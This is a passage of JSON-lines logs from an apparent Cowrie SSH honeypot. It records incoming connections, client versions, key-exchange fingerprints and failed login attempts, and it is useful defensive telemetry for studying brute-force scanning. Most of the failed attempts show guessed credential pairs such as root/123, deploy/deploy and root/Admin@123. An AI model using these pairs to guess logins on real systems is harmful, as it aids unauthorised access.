-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:50.289290Z","src_ip":"83.168.110.85","session":"b0ce2736dc89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:50.650525Z","src_ip":"83.168.110.85","session":"b0ce2736dc89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:51.791066Z","src_ip":"83.168.110.85","session":"b0ce2736dc89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":47028,"dst_ip":"10.17.0.5","dst_port":22,"session":"7892312d36a8","protocol":"ssh","message":"New connection: 4.184.246.230:47028 (10.17.0.5:22) [session: 7892312d36a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:53.619641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:53.623407Z","src_ip":"4.184.246.230","session":"7892312d36a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:53.712564Z","src_ip":"4.184.246.230","session":"7892312d36a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helu","message":"login attempt [root/helu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:54.092615Z","src_ip":"4.184.246.230","session":"7892312d36a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:11:55.182973Z","src_ip":"4.184.246.230","session":"7892312d36a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42494,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcbf45895968","protocol":"ssh","message":"New connection: 83.168.110.85:42494 (159.203.135.109:22) [session: fcbf45895968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:00.318415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:00.323975Z","src_ip":"83.168.110.85","session":"fcbf45895968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:00.447304Z","src_ip":"83.168.110.85","session":"fcbf45895968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:00.812695Z","src_ip":"83.168.110.85","session":"fcbf45895968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:02.040459Z","src_ip":"83.168.110.85","session":"fcbf45895968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":43564,"dst_ip":"10.17.0.5","dst_port":22,"session":"60e80271f8e4","protocol":"ssh","message":"New connection: 103.173.227.57:43564 (10.17.0.5:22) [session: 60e80271f8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:06.689831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:06.694160Z","src_ip":"103.173.227.57","session":"60e80271f8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:06.931367Z","src_ip":"103.173.227.57","session":"60e80271f8e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mozart","message":"login attempt [root/mozart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:07.921896Z","src_ip":"103.173.227.57","session":"60e80271f8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:09.165695Z","src_ip":"103.173.227.57","session":"60e80271f8e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46388,"dst_ip":"159.203.135.109","dst_port":22,"session":"dba506a8d98b","protocol":"ssh","message":"New connection: 83.168.110.85:46388 (159.203.135.109:22) [session: dba506a8d98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:10.776074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:10.781384Z","src_ip":"83.168.110.85","session":"dba506a8d98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:10.902948Z","src_ip":"83.168.110.85","session":"dba506a8d98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49294,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cfec7744ddb","protocol":"ssh","message":"New connection: 80.66.85.226:49294 (10.17.0.5:22) [session: 8cfec7744ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:11.246304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:11.250867Z","src_ip":"80.66.85.226","session":"8cfec7744ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:11.267166Z","src_ip":"83.168.110.85","session":"dba506a8d98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:11.350692Z","src_ip":"80.66.85.226","session":"8cfec7744ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"geibcnbr","message":"login attempt [root/geibcnbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:11.625987Z","src_ip":"80.66.85.226","session":"8cfec7744ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:12.442257Z","src_ip":"83.168.110.85","session":"dba506a8d98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:12.719726Z","src_ip":"80.66.85.226","session":"8cfec7744ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36216,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e74ff7ddeba","protocol":"ssh","message":"New connection: 83.168.110.85:36216 (159.203.135.109:22) [session: 6e74ff7ddeba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:21.349605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:21.353982Z","src_ip":"83.168.110.85","session":"6e74ff7ddeba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:21.474996Z","src_ip":"83.168.110.85","session":"6e74ff7ddeba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:21.837977Z","src_ip":"83.168.110.85","session":"6e74ff7ddeba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:22.981915Z","src_ip":"83.168.110.85","session":"6e74ff7ddeba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.78041672706604,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:24.827700Z","src_ip":"104.248.20.86","session":"38b9ea5d382e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55884,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c45273812ab","protocol":"ssh","message":"New connection: 83.168.110.85:55884 (159.203.135.109:22) [session: 1c45273812ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:31.328271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:31.479422Z","src_ip":"83.168.110.85","session":"1c45273812ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:31.483670Z","src_ip":"83.168.110.85","session":"1c45273812ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:32.020139Z","src_ip":"83.168.110.85","session":"1c45273812ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":35540,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee26f7976d57","protocol":"ssh","message":"New connection: 4.184.246.230:35540 (10.17.0.5:22) [session: ee26f7976d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:32.838960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:32.843244Z","src_ip":"4.184.246.230","session":"ee26f7976d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:32.932013Z","src_ip":"4.184.246.230","session":"ee26f7976d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:33.142766Z","src_ip":"83.168.110.85","session":"1c45273812ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webuser","message":"login attempt [root/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:33.304438Z","src_ip":"4.184.246.230","session":"ee26f7976d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":53550,"dst_ip":"159.203.135.109","dst_port":22,"session":"11bf2eb9e132","protocol":"ssh","message":"New connection: 109.172.54.111:53550 (159.203.135.109:22) [session: 11bf2eb9e132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:12:33.360256Z"}
